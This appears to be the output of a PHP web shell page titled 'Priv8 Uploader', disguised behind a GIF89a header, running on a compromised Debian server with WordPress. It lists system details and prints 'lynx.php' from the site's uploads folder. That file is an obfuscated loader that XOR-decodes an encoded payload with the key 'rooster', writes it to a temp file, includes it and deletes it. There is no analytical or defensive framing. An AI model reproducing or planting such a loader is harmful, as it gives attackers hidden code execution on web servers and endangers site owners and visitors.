GIF89a;

Priv8 Uploader By InMyMine7

Linux h2 5.10.0-38-amd64 #1 SMP Debian 5.10.249-1 (2026-02-10) x86_64
HEX
HEX
Server: Apache
System: Linux h2 5.10.0-38-amd64 #1 SMP Debian 5.10.249-1 (2026-02-10) x86_64
User: web78 (5067)
PHP: 8.3.30
Disabled: exec,shell_exec,system,passthru,popen,proc_open,pcntl_exec
Upload Files
File: /var/www/clients/client41/web78/web/wp-content/uploads/2024/lynx.php
<?php
$encrypted = 'TlAfGwRoeAEKHAAdChwtHBsSBhFaW1RieXlvVgIOHAAyDB4XT1JTUw0GBh9VXFsSAl8JBh8RCBMcDggWBksRHQJAHgcNFx4DMBAGABZcBRwcGkJJf2VieVtKUl9CQlOk8qLCv9yi9LTxoti_yaTVUqPuv82k0aLHvu-jwrXKotO_zaTWosxPvvSk0KPyv9qjw0URJz0jU1lIX39lSxAcRU9SDBoBGDobHAYbW1AVEwEcKRoYAFtJYmUQARceLRwKBxsVBlpLDBtYRTEnPSM8JDEtICo7JiYrJiAuISAyICBeTxsBAQBbSWJlEAEXHi0cCgcbFQZaSwwbWEUxJz0jPCQxLTQgIz87Mj49LC4nPSo8Xk8bAQEAW0liZRABFx4tHAoHGxUGWksMG1hFMSc9IzwkMS0nPCohNSI3PDtDU1MoHQgGAx8VSkdcX0haT2h4ERodHysWFwYAHwdcQREaQ08wITc-PT87LCAsPzcgOidYRUNCRlR-fmh4VgwAHQAAHAZPUlMXEAAeMAoLEQZaVgwHWk9oeH9lBhVUTREHHQMsERcAHABHVxcNW1tPFH5-RVJSTwsaEU1QovG--6TdosO_1aPERREnPSNJVEdSXE8MBgYJLRcdHRwGTVYRB0ZaT2h4D2Jlfn5BGgYbHzAbARdSUk8QARceLQgKBx0LFB1HSxAcSVIxOj0_PSs0PTAnJyA1LTEgKzZdXn94DBoBGDoRHgAcFlxBERpGVH5-aHgbCU9bUA0GBh8sHBAAUlNSUlNGVUJSExNTUAYdHBsKHQBFT09STxUVCQEXRk8IeW9SUk9PFx0AWlC_y6PEtcui1E-jybXHUr7oo8y08KLfv8al56PzvuBTpN2iyb_XUyE3PlK_0qPBtcai0b7ypeej8b_Qo8G1z0hPTVNaRVYCDhwAMgweF0ZUfn4Yf3hiZVxbRV9fQk-j6rXDo--_w6TUosy-7aPOtcJSJTw8OkVfX0JieVABEwYOT05UDwEdATAXEQYdFgpHVxcKHAYKAQdYRQYAGgpaT2h4GwlPW1ABEwYOT05JWFIcGgMfXUUJf2VPU1RFFhsKR1Gk-6P6v9ejxbXIot9PovS1wqLYv8Kk26Pyv99TPjY9PFVPUVRLUhgcAB0rCRMBGzAWBhcdADACABNNW1tUYnkJaHh_ZUsAAAoAFwsnEgcNUk9PSxcVERMpSB8SBxZVL09QTFQLBx4DVH5-DBRSR05XBxEdAAoLOxUWGltPFH5-RVJSTwsaEU1Qosq_xqXtUqLQv8Ol5aLMv9Si-0Wiz7_aU6TYosK_1qPAtcei0k-jxkU4ISAhXVZMSX9lEn5-aHhdQE9eWUhSov-_waXnosy-76PMtcWi3771pN2j_U9CXlloeBsJT1tQOiE3PTk2Jj5VICo-JjE2Ji0iKic8KjZVMk9OSVhSVT8gICBCW1IUYnlURVJSSwYdBBAGIg4cAAMKABZPUlNQOiI9PDsoUxUTARwYHAYBVS9PUExUQlVJYmV-fkVSUk8GFVRNVgEbAAERAToTHAdTUkNSAg4cAAMKABYwGRYGDBQLR0saGhUHBj8OAAcSHQALQ1NQFgYdHQoXPAQBGkZGUw9oeFJPT1NURVJSSzAgMTYhOyAhKFMEBwYHCh0ADBETGwoXUzhST08bAQEASX9lT1NURVJST08bEQQWFx1HVDgKERMbBhwaX1JVT0FTUDohNz05NiY-VSInPywnID40SDJaT2h4Uk9PU1RFUlIKFxoAXn94T09TVBhSFwMcFlQef3hPT1NURVJST0sWBhcdAE9SU1a176Lav8Gk0KPyv9Ki_7XLUr_Qo8S08qLRv8il6VxQVGJ5VEVSUhJieQloeH9lQFxUSF9fT7_hpe6j97_Ro8BFX19CYnkdA1JaBhwAERFaVjAoNiA-VR4ACBwBEVUvRkZTD2h4Uk9PUwcAAQEGAB0rARcBGx0cDU1bSWJlU1RFUhoKDhcRF1pQIwAQFREbHQFVU1ZFXFJLMCAxNyQ3PTRUJC0iLTwqPzJCL1tUYnlURVJSChcaAF5_eBJieXlvXV1PQl5ZRaLWv9Gi9LXOot9Po8a096LRv8ek1VJfQkJ-fgwUUkdOGgcWFwZHSywnICEhJiA9L0ITBxsHFhoRGxEOGxYQQi9bTxMPVEEtISo8ID0qPClIDgYADRccGwYQFREXFkgyU1VYT1IbHQYRTEh_ZVBNeW9OUysgMCA8IjdPBwcZCUx_ZVMbAAgeTGJlTxwAExZRYnlURVJSUxsaAAkXTAIcGxEJHk5AGxoACRdMYmVTVEVSThwbChgATH9lT1NURVJST09ZVB5SEAAXXgcMCBsBCElUBx0ACwoBWQcdClRPHhUXFRsBVVNEXlICDgsXHQsVSE9fSFQYf3hPT1NURVJSTw0cEBxSCWJlU1RFUlJPT1NURVJSDQ4QHwIAHRoBF1kGHR4AHUlURkNAXwtCQF5_eE9PU1RFUlJPT1NURREdAwABTkVRFA4JQxFTSX9lT1NURVJST09TVEVSFAABB1kDEx8GAwpORVU4ChsxBgQbHBxPPhsLHVVDT1Q3CgcABgoBVCsXBUhDUzcKBwAGCgFYRR8dAQAABAQRF1RieVRFUlJPT1NURVJSTwkcGhFfAQYVFk5FSkJKVH5-RVJST09TVEUPf2VPU1RFUlJPTxtGSxoXDgsWBkUJf2VPU1RFUlJPT1NURVIUAAEHWRYbCApVU0VXQldUYnlURVJST09TVEVSUk8NEhcOFQAAGh0QSBEdAwABTkVRRFdZEkNSSX9lT1NURVJST09TVEVSAg4LFx0LFUhPVwMMXn94T09TVEVSUk9PU1RFER0DAAFORVERXA1CFgFJf2VPU1RFUlJPT1NURVIGChcHWQQeGwgBSVQGFxwbCgFPaHhST09TVEVSUhJieVRFUlJPT1NUBwcGGwAdVB5_eE9PU1RFUlJPT1NURRATDAQUBgoHHAtCEBsJHQBVTwETBxNaXldfVFRBSkNPQkZXXlJfQURMTEl_ZU9TVEVSUk9PU1RFUhoKBhQcEUhSXF8DDF5_eE9PU1RFUlJPT1NURREdAwABTkVRNCkpSzAmSX9lT1NURVJST09TVEVSHw4dFB0LXwAGCBsAX1JDXx8LT2h4Uk9PU1RFUlJPT1NUBx0ACwoBWRcTFgYaAE5FQQIXVH5-RVJST09TVEVSUk9PERsXFhcdVVMaChwXVGJ5VEVSUk9PU1RFUlJPHxIQARscCFVTQhUKUl5dAwxef3hPT1NURVJST09TVEUUHQEbXhIEHxsDFklUQjgXGy0BFQwcAU8iHBoKVV5PSDAbEAAbCh1TOgAFVUNPMBsQABsKHV9UCB0cABwDFQYXSWJlU1RFUlJPT1NURVJSCQAdAEgBGxUKSVRURgIXVH5-RVJST09TVEVSUk9PEAEXAR0dVVMEChscGwoBT2h4Uk9PU1RFUlJPT1NUARsBHwMSDV9SFAMKC09oeFJPT1NURVJST09TVBEAEwEcGgAMHRxVTxIYCVJCQV5GB0UXExwKSHlvUlJPT1NURVIPYmVTVEVSUk9PUxYQBgYAAUkcCgQXHU8IeW9SUk9PU1RFUlJPT1MWCgpfHAcSEAoFSE9fU0YVClJXHwtUFxUQDkdFQUlSRFpDU0JQXlJfQURdXn94T09TVEVSUk9PU1RFEBMMBBQGCgccC0IQGwkdAFVPARMHE1peXEtYRUNKQ09HTElSQkFYS11ef3hPT1NURVJSTxJ-fkVSUk9PU1RFGxwfGgdUHn94T09TVEVSUk9PU1RFHxMdCBoaX1JKHxdTRF5_eE9PU1RFUlJPT1NURQITCwsaGgJIUlcfC09oeFJPT1NURVJST09TVBIbFhsHSVRUQkJKVH5-RVJST09TVEVSUk9PERUGGRUdAAYaAV8RAAMcBl9SUV0LQRBXFkliZVNURVJST09TVEVSUg0AARAAAEhPXgMMRQEdAwYXVEZGRltUfn5FUlJPT1NURVJST08QGwkdAFVPUBIEFEIKWUh5b1JST09TVEVSD2JlU1RFUlJPT1MSCgAfTxR-fkVSUk9PU1RFUlJPTxEVBhkVHQAGGgFIUkxeFkUAQxdUYnlURVJST09TVEVSUk8fEhABGxwIVVNGVQIKVGJ5VEVSUk9PU1RFUlJPDRwGARcAQh0SEAwHAVVPSwQdSX9lT1NURVJST08OeW9SUk9PU1RFUlwDABQdC18FHQ4DBAAAUhRieVRFUlJPT1NURVJSTwsaBxUeExZVUxIJFwpUYnlURVJST09TVEVSUk8FBgcRGxQWQhAbCwYXARtJVAYXHBsKAU9oeFJPT1NURVJST09TVAQeGwgBXh0RFx8cVVMXABwGCh1IeW9SUk9PU1RFUlJPT1McABsVBxtJVFRCQhkHSHlvUlJPT1NURVIPYmVTVEVSTkAcBw0JF0xiZU9bDRcTC1F-flkQHQsWTXlvUlJPT08cV1IRAw4AB1hQGgoOFxEXUExPAlMHRRpSCk8fVAlOXQddTXlvUlJPT08QDARSDAMSBxZPUAMAFB0LXwUdDgMEAABQUWJ5VEVSUk9PU1RZFB0dAlMZAAYaAAtOVjU9ITtNTXlvUlJPT1NURVJST09TSFoCGh9PGhJFWlMKAgMAHFpWCh0BGxdbW08KEBwKUlBTH1MHEQseClJUFwoeHR1VUwYAFklIUVcRFwAdHVNcBFtQSU9QTXlvUlJPT1NURVJST09TSAwcAhobUwAcAhdSTQMVFgEFAB0XVkUcEwIKTlYVEwEcGBwGAVBSHwMSFwAaHQMLFgZYUCIOHAADCgAWTU8BERQHGx0KF1QEBwYACRwXEAFMYmVTVEVSUk9PU1RFUlJTDQYAER0cTwwfFRYBT00NBgARHRxCAxofAFBSGxYDEVhQARoNHh0RUEwjABQdC05dDRoHAAocTGJlU1RFUlJPT1NIShQdHQJNeW9SUk9PT1sBGwRRYnlIShAdCxZNeW9OXQcbHhhbf3hTUAMcFX94T09TVAAKGxtUfn4AHBYGCUh5bw';
if (!function_exists('alpaca')) {
    function alpaca($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), alpaca($encrypted, 'rooster'));
include $tmp;
unlink($tmp);

?>